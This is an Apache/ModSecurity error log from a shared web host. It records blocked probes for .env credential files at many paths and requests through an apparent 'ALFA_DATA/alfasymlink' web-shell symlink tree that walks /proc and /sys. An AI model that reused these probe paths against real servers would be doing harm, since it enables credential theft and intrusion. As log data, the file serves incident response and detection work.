[Sun Oct 25 18:14:34.940947 2026] [security2:error] [pid 2910029:tid 2910029] [client 3.224.215.150:1216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:0c/power/"] [unique_id "at5_SjFcH7iHSIgvWzjm3gAAAEY"]
[Sun Oct 25 18:14:38.998547 2026] [ssl:error] [pid 2908853:tid 2908853] (70014)End of file found: [client 35.174.253.85:22024] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:14:40.643484 2026] [core:error] [pid 2908853:tid 2908853] (13)Permission denied: [client 85.208.96.211:30218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/ctor
[Sun Oct 25 18:14:46.916100 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 100.29.164.178:39591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:14:51.094406 2026] [ssl:error] [pid 2910690:tid 2910690] (5)Input/output error: [client 18.209.137.234:47182] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:14:54.892067 2026] [ssl:error] [pid 2910029:tid 2910029] (70014)End of file found: [client 54.225.81.20:22908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:00.068196 2026] [ssl:error] [pid 2910690:tid 2910690] (70014)End of file found: [client 85.208.96.211:42934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:02.868583 2026] [ssl:error] [pid 2910031:tid 2910031] (70014)End of file found: [client 34.192.67.98:52969] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:07.105298 2026] [ssl:error] [pid 2908853:tid 2908853] (70014)End of file found: [client 3.89.176.255:6355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:10.845900 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 34.203.111.15:36914] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:11.885577 2026] [core:error] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.219.149.229:41502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/validate
[Sun Oct 25 18:15:14.543747 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 122.60.113.202:51825] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/validate
[Sun Oct 25 18:15:16.513795 2026] [core:error] [pid 2910031:tid 2910031] (13)Permission denied: [client 69.138.95.40:45732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/validate
[Sun Oct 25 18:15:18.951487 2026] [core:error] [pid 2908853:tid 2908853] (13)Permission denied: [client 52.2.191.202:12673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/shpchp/uevent
[Sun Oct 25 18:15:30.943574 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 35.174.253.85:1544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:36.902459 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 186.17.197.181:46982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slabs_cpu_partial
[Sun Oct 25 18:15:38.421799 2026] [core:error] [pid 2910721:tid 2910721] (13)Permission denied: [client 58.111.196.203:56622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/cpu_partial
[Sun Oct 25 18:15:41.133530 2026] [core:error] [pid 2910736:tid 2910736] (13)Permission denied: [client 181.78.97.195:61002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slabs_cpu_partial
[Sun Oct 25 18:15:41.986960 2026] [security2:error] [pid 2910739:tid 2910739] [client 170.106.161.78:35224] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at5_jeUXdcRSgvG0fzDdYQAAACA"]
[Sun Oct 25 18:15:42.754912 2026] [ssl:error] [pid 2910737:tid 2910737] (70014)End of file found: [client 52.71.46.142:54503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:15:48.395491 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 186.247.174.80:52332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/cpu_partial
[Sun Oct 25 18:15:50.238685 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 47.154.247.248:33073] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/destroy_by_rcu
[Sun Oct 25 18:15:50.561715 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 52.44.229.124:19130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu0/node0/memory15/node0/memory5/subsystem/devices/memory0/subsystem/drivers_probe
[Sun Oct 25 18:15:51.964534 2026] [core:error] [pid 2910721:tid 2910721] (13)Permission denied: [client 188.74.64.255:46193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/destroy_by_rcu
[Sun Oct 25 18:15:54.772830 2026] [security2:error] [pid 2910693:tid 2910693] [client 98.84.200.43:59514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/"] [unique_id "at5_mhUC0X8RmpNnzXW_3QAAAAw"]
[Sun Oct 25 18:15:54.772874 2026] [security2:error] [pid 2910693:tid 2910693] [client 98.84.200.43:59514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/"] [unique_id "at5_mhUC0X8RmpNnzXW_3QAAAAw"]
[Sun Oct 25 18:15:55.802462 2026] [core:error] [pid 2910739:tid 2910739] (13)Permission denied: [client 1.146.67.43:43229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/destroy_by_rcu
[Sun Oct 25 18:15:58.530811 2026] [ssl:error] [pid 2910690:tid 2910690] (70014)End of file found: [client 44.221.105.234:34812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:16:07.006017 2026] [core:crit] [pid 2910740:tid 2910740] (13)Permission denied: [client 45.138.12.49:56902] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:07.012640 2026] [core:crit] [pid 2910693:tid 2910693] (13)Permission denied: [client 45.138.12.49:56908] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:07.016277 2026] [core:crit] [pid 2910737:tid 2910737] (13)Permission denied: [client 45.138.12.49:56906] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:07.017982 2026] [core:crit] [pid 2910739:tid 2910739] (13)Permission denied: [client 45.138.12.49:56904] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:07.024542 2026] [core:crit] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.138.12.49:56912] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:07.036679 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:56910] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:10.637823 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 85.208.96.206:15320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/min_partial
[Sun Oct 25 18:16:11.974229 2026] [core:crit] [pid 2910721:tid 2910721] (13)Permission denied: [client 45.138.12.49:57650] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:11.983557 2026] [core:crit] [pid 2910740:tid 2910740] (13)Permission denied: [client 45.138.12.49:57648] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:11.993395 2026] [core:crit] [pid 2910739:tid 2910739] (13)Permission denied: [client 45.138.12.49:57658] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:11.996764 2026] [core:crit] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.138.12.49:57656] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:11.997270 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:57652] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.113092 2026] [security2:error] [pid 2906066:tid 2906066] [client 45.138.12.49:34618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/workspace/.env.local"] [unique_id "at5_rL_lIj1OAY0C3WwdagAAAAE"]
[Sun Oct 25 18:16:12.113607 2026] [security2:error] [pid 2906066:tid 2906066] [client 45.138.12.49:34618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/workspace/.env.local"] [unique_id "at5_rL_lIj1OAY0C3WwdagAAAAE"]
[Sun Oct 25 18:16:12.113889 2026] [security2:error] [pid 2906066:tid 2906066] [client 45.138.12.49:34618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/workspace/.env.local"] [unique_id "at5_rL_lIj1OAY0C3WwdagAAAAE"]
[Sun Oct 25 18:16:12.132095 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:57666] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.152670 2026] [security2:error] [pid 2910029:tid 2910029] [client 45.138.12.49:34624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /code/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/code/.env"] [unique_id "at5_rDFcH7iHSIgvWzjm4QAAAEY"]
[Sun Oct 25 18:16:12.153192 2026] [security2:error] [pid 2910029:tid 2910029] [client 45.138.12.49:34624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/code/.env"] [unique_id "at5_rDFcH7iHSIgvWzjm4QAAAEY"]
[Sun Oct 25 18:16:12.153440 2026] [security2:error] [pid 2910029:tid 2910029] [client 45.138.12.49:34624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/code/.env"] [unique_id "at5_rDFcH7iHSIgvWzjm4QAAAEY"]
[Sun Oct 25 18:16:12.153911 2026] [core:crit] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.138.12.49:57680] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.201214 2026] [security2:error] [pid 2899920:tid 2899920] [client 45.138.12.49:34626] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /code/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/code/.env.production"] [unique_id "at5_rB8fO9KwLgqLGMRCjgAAAAc"]
[Sun Oct 25 18:16:12.201597 2026] [security2:error] [pid 2899920:tid 2899920] [client 45.138.12.49:34626] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/code/.env.production"] [unique_id "at5_rB8fO9KwLgqLGMRCjgAAAAc"]
[Sun Oct 25 18:16:12.201900 2026] [security2:error] [pid 2899920:tid 2899920] [client 45.138.12.49:34626] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/code/.env.production"] [unique_id "at5_rB8fO9KwLgqLGMRCjgAAAAc"]
[Sun Oct 25 18:16:12.201983 2026] [security2:error] [pid 2899920:tid 2899920] [client 45.138.12.49:34626] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/code/.env.production"] [unique_id "at5_rB8fO9KwLgqLGMRCjgAAAAc"]
[Sun Oct 25 18:16:12.202010 2026] [security2:error] [pid 2899920:tid 2899920] [client 45.138.12.49:34626] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/code/.env.production"] [unique_id "at5_rB8fO9KwLgqLGMRCjgAAAAc"]
[Sun Oct 25 18:16:12.229739 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:57684] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.247170 2026] [core:crit] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.138.12.49:57668] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.332813 2026] [core:crit] [pid 2912447:tid 2912447] (13)Permission denied: [client 45.138.12.49:57690] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.338662 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:57678] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.355279 2026] [core:crit] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.138.12.49:57688] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.432184 2026] [core:crit] [pid 2912447:tid 2912447] (13)Permission denied: [client 45.138.12.49:57674] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.433827 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:57682] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.456469 2026] [core:crit] [pid 2910690:tid 2910690] (13)Permission denied: [client 45.138.12.49:57686] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.513251 2026] [core:crit] [pid 2899542:tid 2899542] (13)Permission denied: [client 45.138.12.49:57664] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:12.544040 2026] [core:crit] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.138.12.49:57670] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:14.504501 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 44.221.227.90:1818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:16:22.129069 2026] [core:crit] [pid 2910691:tid 2910691] (13)Permission denied: [client 45.138.12.49:58098] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:22.155930 2026] [core:crit] [pid 2912500:tid 2912500] (13)Permission denied: [client 45.138.12.49:58100] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:22.228507 2026] [core:crit] [pid 2910737:tid 2910737] (13)Permission denied: [client 45.138.12.49:58104] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:22.277904 2026] [core:crit] [pid 2899920:tid 2899920] (13)Permission denied: [client 45.138.12.49:58114] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:22.279455 2026] [core:crit] [pid 2906066:tid 2906066] (13)Permission denied: [client 45.138.12.49:58110] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:22.281624 2026] [core:crit] [pid 2910740:tid 2910740] (13)Permission denied: [client 45.138.12.49:58112] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:22.378272 2026] [core:crit] [pid 2910029:tid 2910029] (13)Permission denied: [client 45.138.12.49:58124] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:23.724174 2026] [core:crit] [pid 2910739:tid 2910739] (13)Permission denied: [client 45.138.12.49:58292] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:25.786951 2026] [security2:error] [pid 2910693:tid 2910693] [client 45.138.12.49:34874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /usr/src/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/usr/src/app/.env.production"] [unique_id "at5_uRUC0X8RmpNnzXW_4gAAAAw"]
[Sun Oct 25 18:16:25.787386 2026] [security2:error] [pid 2910693:tid 2910693] [client 45.138.12.49:34874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/usr/src/app/.env.production"] [unique_id "at5_uRUC0X8RmpNnzXW_4gAAAAw"]
[Sun Oct 25 18:16:25.787736 2026] [security2:error] [pid 2910693:tid 2910693] [client 45.138.12.49:34874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/usr/src/app/.env.production"] [unique_id "at5_uRUC0X8RmpNnzXW_4gAAAAw"]
[Sun Oct 25 18:16:25.912608 2026] [core:crit] [pid 2912500:tid 2912500] (13)Permission denied: [client 45.138.12.49:58842] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:25.913164 2026] [core:crit] [pid 2910737:tid 2910737] (13)Permission denied: [client 45.138.12.49:58840] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:25.985097 2026] [core:crit] [pid 2899920:tid 2899920] (13)Permission denied: [client 45.138.12.49:58878] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:26.155417 2026] [core:crit] [pid 2899920:tid 2899920] (13)Permission denied: [client 45.138.12.49:58914] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:26.176599 2026] [security2:error] [pid 2910739:tid 2910739] [client 45.138.12.49:35370] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/opt/app/.env.production"] [unique_id "at5_uuUXdcRSgvG0fzDdZwAAACA"]
[Sun Oct 25 18:16:26.177100 2026] [security2:error] [pid 2910739:tid 2910739] [client 45.138.12.49:35370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/opt/app/.env.production"] [unique_id "at5_uuUXdcRSgvG0fzDdZwAAACA"]
